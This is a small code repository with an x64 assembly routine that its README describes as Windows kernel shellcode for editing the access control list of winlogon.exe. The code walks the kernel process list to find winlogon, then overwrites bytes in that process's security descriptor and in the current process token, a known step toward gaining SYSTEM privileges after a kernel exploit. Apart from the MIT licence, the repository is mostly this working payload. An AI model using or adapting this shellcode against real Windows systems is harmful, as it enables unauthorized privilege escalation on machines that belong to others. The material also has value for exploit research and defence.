├── README.md ├── AclEdit.asm └── LICENSE /README.md: -------------------------------------------------------------------------------- 1 | # ACL_Edit 2 | Assembly code to use for Windows kernel shellcode to edit winlogon.exe ACL 3 | -------------------------------------------------------------------------------- /AclEdit.asm: -------------------------------------------------------------------------------- 1 | .code 2 | 3 | EditAcl PROC 4 | mov rax, qword ptr gs:[188h] 5 | mov rax, qword ptr [rax + 220h] 6 | mov rcx, rax 7 | mov rax, [rax+240h] 8 | procloop: 9 | lea rbx, [rax-240h] 10 | mov rax, [rax] 11 | add rbx, 450h 12 | cmp dword ptr [rbx], 6c6e6977h 13 | jne procloop 14 | sub rbx, 458h 15 | mov rax, qword ptr [rbx] 16 | and rax, 0FFFFFFFFFFFFFFF0h 17 | add rax, 48h 18 | mov byte ptr [rax], 0bh 19 | add rcx, 358h 20 | mov rax, qword ptr [rcx] 21 | and rax, 0FFFFFFFFFFFFFFF0h 22 | add rax, 0d4h 23 | mov byte ptr [rax], 0 24 | ret 25 | EditAcl ENDP 26 | 27 | END -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 MortenSchenk 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | --------------------------------------------------------------------------------